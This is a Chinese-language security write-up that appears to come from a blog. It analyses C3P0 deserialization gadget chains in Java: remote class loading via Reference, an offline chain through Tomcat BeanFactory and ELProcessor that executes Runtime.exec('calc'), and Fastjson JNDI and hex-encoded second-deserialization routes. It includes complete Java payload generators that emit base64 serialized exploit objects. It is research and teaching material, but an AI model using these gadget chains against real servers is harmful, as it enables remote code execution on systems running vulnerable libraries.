Java安全-C3P0
简述
c3p0是用于创建和管理连接,利用“池”的方式复用连接减少资源开销,和其他数据源一样,也具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。
原生反序列化利用
远程加载类
看一下YSO的利用链:
看起来像jndi注入。
先分析吧。
利用链分析
PoolBackedDataSourceBase
实现了IdentityTokenized
接口,此接口用于支持注册功能。每个DataSource实例都有一个identityToken,用于在C3P0Registry中注册。 还持有PropertyChangeSupport和VetoableChangeSupport对象,并提供了添加和移除监听器的方法
该类在序列化时需要存储对象的 connectionPoolDataSource
属性,该属性是ConnectionPoolDataSource
接口对象。
如果属性不是可序列化的,就使用com.mchange.v2.naming.ReferenceIndirector#indirectForm
调用(Referenceable)
对象的getReference
方法获取Reference
对象,然后 生成一个可序列化的IndirectlySerialized
对象。
也就是内置类com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized#ReferenceSerialized
在反序列化时,会把他读出来,
如果他是继承于IndirectlySerialized
类的,就会调用对象的getObject
方法重新生成connectionPoolDataSouce
对象。本来以为这里存在JNDI注入,
但发现这里的contextName
不可控,这里暂且能控制的只有reference
属性,所以这个利用链应该是存在问题的。而且跟他下面的代码也对应不起来。
跟进ReferenceableUtils.*referenceToObject*
从这里可以看到,从Reference对象中拿出classFactory classFactoryLocation
属性,然后使用URLClassLoader
从classFactoryLocation
中加载classFactory
类。
构造Payload
创建一个实现了 Referenceable
和 ConnectionPoolDataSource
两个接口的类,但不能实现Serializable
。
这个类其实并不会影响后面的反序列化,因为在序列化时,这个类的对象已经被封装成了ReferenceSerialized
对象,
后续也是使用的他的getReference
方法获取的Reference
对象,关键就是getReference
方法。
package com.c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
public class c3p0SerDemo {
private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
protected String classFactory = null;
protected String classFactoryLocation = null;
public ConnectionPool(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
return new Reference("ref",classFactory,classFactoryLocation);
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPool connectionPool = new ConnectionPool("Evil","http://127.0.0.1:8888/");
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
}
}
不出网利用
参考雨了个雨师傅的文章。
还是com.mchange.v2.naming.ReferenceableUtils#referenceToObject
方法,
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
……
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}
Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
如果不使用URLClassLoader
加载类的话,就需要加载并实例化本地实现了ObjectFactory
接口的类,并调用getObjectInstance
方法,这个方法在JNDI注入中有提到。
回顾一下JNDI注入的原理
目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;
在JDK8u191后出现了trustCodebaseURL
的限制,无法加载远程codebase
下的字节码,其中一种绕过是打本地的Gadgets,后来又出现一种就是找到一个本地可以利用ObjectFactory
类,因为后面会对他实例化并调用getObjectInstance
方法。
原作者提出的是在 Tomcat 依赖里的org.apache.naming.factory.BeanFactory
类。
可以跟进看一下
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
……
} else {
try {
beanClass = Class.forName(beanClassName);
……
}
……
Object bean = beanClass.getConstructor().newInstance();
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
……
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
……
}
}
}
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalAccessException|
……
}
continue;
}
……
}
return bean;
} catch (java.beans.IntrospectionException ie) {
……
} catch (java.lang.ReflectiveOperationException e) {
……
}
} else {
return null;
}
}
存在反射的操作。
通过Reference
对象 ref
的getClassName
方法获取类名,然后加载类后反射创建实例 beanClass
,需要有无参数构造器。
然后获取绑定在 forceString
上的 RefAddr
对象 ra
,,获取该对象的值,使用 =
号分隔,前面的作为key
,以后面的部分为方法名,参数列表为字符串类型来反射获取beanClass
的Method
,作为value
写入一个HashMap
中。
接着就要遍历 ref
上的所有RefAddr
对象,类型不可以是factory scope auth forceString singleton
根据类型从上面的哈希表里 拿到 Method
,反射执行Method
,参数使用RefAddr
对象的值。
可以直接在ref中绑定两个StringRefAddr
。
使用javax.el.ELProcessor
的eval
方法,执行任意EL表达式。
这里有个bracket
操作,添加了${}
。
demo如下。
public class c3p0UnserDemo {
public static void main(String[] args) throws Exception{
RefAddr forceStringAddr = new StringRefAddr("forceString","x=eval");
RefAddr xStringAddr = new StringRefAddr("x","''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')");
Reference ref = new ResourceRef("javax.el.ELProcessor",null,null,null,false);
ref.add(forceStringAddr);
ref.add(xStringAddr);
ObjectFactory beanFactory = new BeanFactory();
beanFactory.getObjectInstance(ref,null,null,null);
}
}
反序列化构造Ref
时需要加上Factory
类名,和FactoryLocation
public class c3p0SerDemo {
private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
protected String classFactory = null;
protected String classFactoryLocation = null;
public ConnectionPool(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
RefAddr forceStringAddr = new StringRefAddr("forceString","x=eval");
RefAddr xStringAddr = new StringRefAddr("x","''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')");
Reference ref = new ResourceRef("javax.el.ELProcessor",null,null,null,false,classFactory,classFactoryLocation);
ref.add(forceStringAddr);
ref.add(xStringAddr);
return ref;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null);
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
}
}
具体细节看参考。
fastjson中的利用
jndi注入
看一下com.mchange.v2.c3p0.JndiRefForwardingDataSource
类
找调用了 inner() 的setter 方法。
除了设置jndiName
属性外,再设置一下 logWriter
或者 loginTimeout
属性就行,由于logWriter
需要给一个PrintWriter
对象,直接loginTimeout
好了。
二次反序列化
这个链子稍微有点复杂,慢慢分析好了。
先说一下 VetoableChangeListener
和 VetoableChangeSupport
前者就是一个监听器,当Bean
中受约束的属性改变时,就会调用监听器的VetoableChange
方法。
后者拥有VetoableChangeListener
的监听器列表,并且会向监听器列表发送 PropertyChangeEvent
,来跟踪属性的更改情况。PropertyChangeEvent
存储着Bean
某属性名的新旧值。
跟进 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
这个类在初始化时会调用setUpPropertyListeners
方法开启属性监听
该方法自定义了一个监听器,然后重写vetoableChange
方法
给他加载到自己的 vcs属性的监听器列表里。
在设置属性时,为了监控属性的变化,就会去调用vcs.fireVetoableChange
方法,此方法有很多重载,但最后都会封装一个PropertyChangeEvent
对象,
传递给监听器的vetoableChange
方法。
整个流程看过来,可以发现其中最主要的,还是要看监听器的vetoableChange
方法如何实现。
public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException
{
String propName = evt.getPropertyName();
Object val = evt.getNewValue();
if ( "connectionTesterClassName".equals( propName ) )
{
try
{ recreateConnectionTester( (String) val ); }
catch ( Exception e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );
throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
}
else if ("userOverridesAsString".equals( propName ))
{
try
{ WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );
throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}
这里只监听两个属性名,connectionTesterClassName
属性通过recreateConnectionTester
方法重新实例化一个ConnectionTester
对象,不可行。
userOverridesAsString
属性 会使用C3P0ImplUtils.*parseUserOverridesAsString*
来处理新值。
截取从HexAsciiSerializedMap
后的第二位到倒数第二位 中间的hex字符串,可以构造形如 HexAsciiSerializedMap:hex_code;
的
解码后,开始反序列化。
攻击点就是userOverridesAsString
属性的setter 方法。
也不需要其他Gadget,直接拿上面的gadgets就能打。
参考
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java
https://github.com/Firebasky/Fastjson#c3p0jndirefforwardingdatasource
https://www.w3cschool.cn/doc_openjdk_8/openjdk_8-java-beans-vetoablechangesupport.html?lang=en